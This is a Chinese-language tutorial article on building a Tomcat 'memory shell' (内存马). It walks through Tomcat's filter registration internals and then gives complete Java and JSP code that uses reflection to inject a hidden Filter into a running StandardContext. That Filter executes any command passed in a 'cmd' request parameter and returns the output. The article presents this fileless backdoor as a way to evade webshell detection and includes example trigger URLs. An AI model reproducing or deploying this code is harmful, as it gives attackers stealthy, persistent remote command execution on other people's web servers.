您的位置:首页 >聚焦 >

手把手教你实现tomcat内存马

2022-05-15 05:49:55    来源:程序员客栈
01内存马

为什么要使用内存马

有哪些类型的内存马

如何编写内存马

为什么要使用内存马

传统的webshell或以文件驻留的后门越来越容易被检测。

文件不落地,检测困难

有哪些类型的内存马

根据不容的容器都有自己对应的内存马

tomcat

weblogic

02Tomcat Filter内存马

Filter是如何被创建的

Filter是如何被执行的

Filter是如何被销毁的(内存马暂时用不到)

Tomcat启动流程

从web.xml文件读取配置信息

流程

1.从webxml读取配置

2.将FilterDef加入context

ContextConfig#configureContext

for(FilterDeffilter:webxml.getFilters().values()){if(filter.getAsyncSupported()==null){filter.setAsyncSupported("false");}context.addFilterDef(filter);}

1.如果filterDef == null我们需要设置三个东西

filterDef.setFilterName(filterName);

filterDef.setFilterClass(filter.getClass().getName());

filterDef.setFilter(filter);

ApplicationContext

FilterDeffilterDef=context.findFilterDef(filterName);//Assumea"complete"FilterRegistrationisonethathasaclassand//anameif(filterDef==null){filterDef=newFilterDef();filterDef.setFilterName(filterName);context.addFilterDef(filterDef);}else{if(filterDef.getFilterName()!=null&&filterDef.getFilterClass()!=null){returnnull;}}if(filter==null){filterDef.setFilterClass(filterClass);}else{filterDef.setFilterClass(filter.getClass().getName());filterDef.setFilter(filter);}

ContextConfig#configureContext

for(FilterMapfilterMap:webxml.getFilterMappings()){context.addFilterMap(filterMap);}

ContextConfig#processAnnotationWebFilter

FilterMapfilterMap=newFilterMap();

总结

1.从web.xml中读取到tomcat filter配置信息

2.将过滤器类和name对应起来(FilterDef)

3.将URLPattern和name对应起来(FilterMap)

4.将FilterDef和FilterMap加入context

Tomcat Filter初始化流程

StandardContext#filterStart

ApplicationFilterConfigfilterConfig=newApplicationFilterConfig(this,entry.getValue());

filterConfigs.put(name,filterConfig);

publicbooleanfilterStart(){if(getLogger().isDebugEnabled()){getLogger().debug("Startingfilters");}//InstantiateandrecordaFilterConfigforeachdefinedfilterbooleanok=true;synchronized(filterConfigs){filterConfigs.clear();for(Entryentry:filterDefs.entrySet()){Stringname=entry.getKey();if(getLogger().isDebugEnabled()){getLogger().debug("Startingfilter""+name+""");}try{ApplicationFilterConfigfilterConfig=newApplicationFilterConfig(this,entry.getValue());filterConfigs.put(name,filterConfig);}catch(Throwablet){t=ExceptionUtils.unwrapInvocationTargetException(t);ExceptionUtils.handleThrowable(t);getLogger().error(sm.getString("standardContext.filterStart",name),t);ok=false;}}}returnok;}

Tomcat Filter执行流程

通过分析Filter执行,可以知道一个Filter需要哪些基本的数据

@WebFilter(filterName="testFilter",urlPatterns="/*")publicclassMyFilterDemo1implementsFilter{@Overridepublicvoidinit(FilterConfigfilterConfig)throwsServletException{System.out.println("filterinit");}@OverridepublicvoiddoFilter(ServletRequestservletRequest,ServletResponseservletResponse,FilterChainfilterChain)throwsIOException,ServletException{System.out.println("doFilter");filterChain.doFilter(servletRequest,servletResponse);}@Overridepublicvoiddestroy(){}}

分析internalDoFilter

filter是一个数组

利用下标进行遍历和匹配规则

通过Filter数组或者说通过FilterChain找到第一个关键数据ApplicationFilterConfig

问题 :FilterChain是如何创建的?

创建一个FilterChain

ApplicationFilterChainfilterChain=ApplicationFilterFactory.createFilterChain(request,wrapper,servlet);

创建过滤链:createFilterChain

publicstaticApplicationFilterChaincreateFilterChain(ServletRequestrequest,Wrapperwrapper,Servletservlet){//Ifthereisnoservlettoexecute,returnnullif(servlet==null)returnnull;//CreateandinitializeafilterchainobjectApplicationFilterChainfilterChain=null;if(requestinstanceofRequest){Requestreq=(Request)request;if(Globals.IS_SECURITY_ENABLED){//Security:DonotrecyclefilterChain=newApplicationFilterChain();}else{filterChain=(ApplicationFilterChain)req.getFilterChain();if(filterChain==null){filterChain=newApplicationFilterChain();req.setFilterChain(filterChain);}}}else{//RequestdispatcherinusefilterChain=newApplicationFilterChain();}filterChain.setServlet(servlet);filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());//AcquirethefiltermappingsforthisContext//获取此上下文的筛选器映射StandardContextcontext=(StandardContext)wrapper.getParent();FilterMapfilterMaps[]=context.findFilterMaps();//Iftherearenofiltermappings,wearedoneif((filterMaps==null)||(filterMaps.length==0))return(filterChain);//Acquiretheinformationwewillneedtomatchfiltermappings//获取匹配过滤器映射所需的信息DispatcherTypedispatcher=(DispatcherType)request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);StringrequestPath=null;Objectattribute=request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);if(attribute!=null){requestPath=attribute.toString();}StringservletName=wrapper.getName();//Addtherelevantpath-mappedfilterstothisfilterchain//将相关路径映射筛选器添加到此筛选器链for(inti=0;i

03Java代码实现伪代码

packagecn.jl.demo;importorg.apache.catalina.Context;importorg.apache.catalina.core.ApplicationFilterConfig;importorg.apache.catalina.core.StandardContext;importorg.apache.catalina.loader.WebappClassLoaderBase;importorg.apache.tomcat.util.descriptor.web.FilterDef;importorg.apache.tomcat.util.descriptor.web.FilterMap;importorg.apache.tomcat.util.net.DispatchType;importjavax.servlet.*;importjavax.servlet.annotation.WebFilter;importjava.io.IOException;importjava.lang.reflect.Constructor;importjava.lang.reflect.Field;importjava.util.Map;@WebFilter("/*")publicclassMyFilterDemoimplementsFilter{static{try{finalStringname="jl";finalStringURLPath="/*";WebappClassLoaderBasewebappClassLoaderBase=(WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();StandardContextstandardContext=(StandardContext)webappClassLoaderBase.getResources().getContext();MyFilterDemomyFilterDemo=newMyFilterDemo();FilterDeffilterDef=newFilterDef();filterDef.setFilter(myFilterDemo);filterDef.setFilterName(name);standardContext.addFilterDef(filterDef);}catch(Exceptionex){ex.printStackTrace();}}@Overridepublicvoidinit(FilterConfigfilterConfig)throwsServletException{}@OverridepublicvoiddoFilter(ServletRequestservletRequest,ServletResponseservletResponse,FilterChainfilterChain)throwsIOException,ServletException{System.out.println("DoFilter......");Stringcmd;if((cmd=servletRequest.getParameter("cmd"))!=null){Processprocess=Runtime.getRuntime().exec(cmd);java.io.BufferedReaderbufferedReader=newjava.io.BufferedReader(newjava.io.InputStreamReader(process.getInputStream()));StringBuilderstringBuilder=newStringBuilder();Stringline;while((line=bufferedReader.readLine())!=null){stringBuilder.append(line+"\n");}servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());servletResponse.getOutputStream().flush();servletResponse.getOutputStream().close();return;}filterChain.doFilter(servletRequest,servletResponse);System.out.println("doFilter");}@Overridepublicvoiddestroy(){}}

http://localhost:8080/xx.jsp?cmd=whoami

04JSP代码分析

<%@pageimport="org.apache.catalina.core.ApplicationContext"%><%@pageimport="java.lang.reflect.Field"%><%@pageimport="org.apache.catalina.core.StandardContext"%><%@pageimport="java.util.Map"%><%@pageimport="java.io.IOException"%><%@pageimport="org.apache.tomcat.util.descriptor.web.FilterDef"%><%@pageimport="org.apache.tomcat.util.descriptor.web.FilterMap"%><%@pageimport="java.lang.reflect.Constructor"%><%@pageimport="org.apache.catalina.core.ApplicationFilterConfig"%><%@pageimport="org.apache.catalina.Context"%><%@pagelanguage="java"contentType="text/html;charset=UTF-8"pageEncoding="UTF-8"%><%//设置finalStringname="jl";//获取filterConfigsServletContextservletContext=request.getSession().getServletContext();Fieldappctx=servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true);ApplicationContextapplicationContext=(ApplicationContext)appctx.get(servletContext);Fieldstdctx=applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContextstandardContext=(StandardContext)stdctx.get(applicationContext);FieldConfigs=standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true);MapfilterConfigs=(Map)Configs.get(standardContext);if(filterConfigs.get(name)==null){//这里实现filterFilterfilter=newFilter(){@Overridepublicvoidinit(FilterConfigfilterConfig)throwsServletException{}@OverridepublicvoiddoFilter(ServletRequestservletRequest,ServletResponseservletResponse,FilterChainfilterChain)throwsIOException,ServletException{System.out.println("DoFilter......");Stringcmd;if((cmd=servletRequest.getParameter("cmd"))!=null){Processprocess=Runtime.getRuntime().exec(cmd);java.io.BufferedReaderbufferedReader=newjava.io.BufferedReader(newjava.io.InputStreamReader(process.getInputStream()));StringBuilderstringBuilder=newStringBuilder();Stringline;while((line=bufferedReader.readLine())!=null){stringBuilder.append(line+"\n");}servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());servletResponse.getOutputStream().flush();servletResponse.getOutputStream().close();return;}filterChain.doFilter(servletRequest,servletResponse);System.out.println("doFilter");}@Overridepublicvoiddestroy(){}};//设置FilterDefFilterDeffilterDef=newFilterDef();filterDef.setFilter(filter);filterDef.setFilterName(name);filterDef.setFilterClass(filter.getClass().getName());//设置FilterMapFilterMapfilterMap=newFilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName(name);filterMap.setDispatcher(DispatcherType.REQUEST.name());standardContext.addFilterDef(filterDef);standardContext.addFilterMapBefore(filterMap);//将FilterConfig加入FilterConfigs中Constructorconstructor=ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfigfilterConfig=(ApplicationFilterConfig)constructor.newInstance(standardContext,filterDef);filterConfigs.put(name,filterConfig);}%>

http://localhost/filter.jsp

http://localhost/1.jsp?cmd=whoami

参考链接

https://xz.aliyun.com/t/10362#toc-6

https://xz.aliyun.com/t/10696

往期回顾 01Brida入门02内网渗透-密码传递03docker利用特权模式逃逸并拿下主机

关键词: 手把手教你 我们需要

相关阅读